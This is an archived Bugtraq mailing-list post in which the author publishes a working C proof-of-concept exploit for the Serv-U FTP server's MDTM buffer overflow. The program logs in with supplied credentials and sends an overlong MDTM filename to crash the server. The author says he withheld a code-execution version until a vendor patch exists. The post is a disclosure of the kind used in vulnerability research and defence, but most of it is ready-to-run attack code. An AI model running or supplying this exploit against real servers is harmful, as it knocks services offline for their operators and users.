home *** CD-ROM | disk | FTP | other *** search
- Hello Bugtraq,
-
- I have written a PoC exploit for the MDTM command
- buffer overflow found in Serv-U by bkbll. This
- exploit only crashes the Serv-U server, as releasing a
- arbitrary code execution exploit when the vendor has
- not yet supplied a patch/fix is not a good idea when
- certain unruly people might get their hands on it.
- Here it is, test your systems, temporarily disable
- Serv-U, and wait for the vendor to release a patch.
-
-
- ---START
- /* serv-u-mdtm-expl.c - Serv-U "MDTM" buffer overflow
- PoC DoS exploit.
- *
- * This program will send an overly large filename
- parameter when calling
- * the Serv-U FTP MDTM command. Although arbitrary
- code execution is
- * possible upon successful execution of this
- vulnerability, the vendor has
- * not yet released a patch, so releasing such an
- exploit could be disastrous
- * in the hands of script kiddies. I might release a
- full exploit to the
- * public when a patch/fix is issued by the vendor of
- Serv-U. This PoC
- * exploit will simply crash the Serv-U server.
- *
- * This vulnerability was discovered by bkbll, you can
- read his advisory on
- * the issue here:
- <http://www.cnhonker.com/advisory/serv-u.mdtm.txt>
- *
- * This vulnerability requires a valid login and
- password to exploit! This
- * PoC does not check to see if you supplied a correct
- login and password.
- *
- * I do not take responsibility for this code.
- *
- * -shaun2k2
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netdb.h>
- #include <netinet/in.h>
-
- int main(int argc, char *argv[]) {
- if(argc < 5) {
- printf("Serv-U 'MDTM' buffer overflow
- DoS exploit.\n");
- printf("by shaun2k2 -
- <shaunige@yahoo.co.uk>.\n\n");
- printf("Usage: %s <host> <port>
- <login> <password>\n", argv[0]);
- exit(-1);
- }
-
- int sock;
- char *explbuf;
- char loginbuf[100];
- char passwdbuf[100];
- struct sockaddr_in dest;
- struct hostent *he;
-
- /* lookup IP address of supplied hostname. */
- if((he = gethostbyname(argv[1])) == NULL) {
- printf("Couldn't resolve %s!\n",
- argv[1]);
- exit(-1);
- }
-
- /* create socket. */
- if((sock = socket(AF_INET, SOCK_STREAM, 0)) <
- 0) {
- perror("socket()");
- exit(-1);
- }
-
- /* fill in address struct. */
- dest.sin_family = AF_INET;
- dest.sin_port = htons(atoi(argv[2]));
- dest.sin_addr = *((struct in_addr
- *)he->h_addr);
-
- printf("Serv-U 'MDTM' buffer overflow DoS
- exploit.\n");
- printf("by shaun2k2 -
- <shaunige@yahoo.co.uk>.\n\n");
-
- printf("Crafting exploit buffer...\n\n");
- /* craft exploit buffers. */
- sprintf(loginbuf, "USER %s\n", argv[3]);
- sprintf(passwdbuf, "PASS %s\n", argv[4]);
- explbuf = "MDTM
- 20031111111111+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.txt";
-
-
- printf("[+] Connecting...\n");
- if(connect(sock, (struct sockaddr *)&dest,
- sizeof(struct sockaddr)) < 0) {
- perror("connect()");
- exit(-1);
- }
-
- printf("[+] Connected!\n\n");
-
- printf("[+] Sending exploit buffers...\n");
- sleep(1); /* give the serv-u server time to
- sort itself out. */
- send(sock, loginbuf, strlen(loginbuf), 0);
- sleep(2); /* wait for 2 secs. */
- send(sock, passwdbuf, strlen(passwdbuf), 0);
- sleep(2); /* wait before sending large MDTM
- command. */
- send(sock, explbuf, strlen(explbuf), 0);
- sleep(1); /* wait before closing the socket.
- */
- printf("[+] Exploit buffer sent!\n\n");
-
- close(sock);
-
- printf("[+] Done! Check if the Serv-U server
- has crashed.\n");
-
- return(0);
- }
- ---END
-
- I hope you find this useful in some way...
-
-
- Thank you for your time.
- Shaun.
-
-
-
-
-
- ___________________________________________________________
- Yahoo! Messenger - Communicate instantly..."Ping"
- your friends today! Download Messenger Now
- http://uk.messenger.yahoo.com/download/index.html
-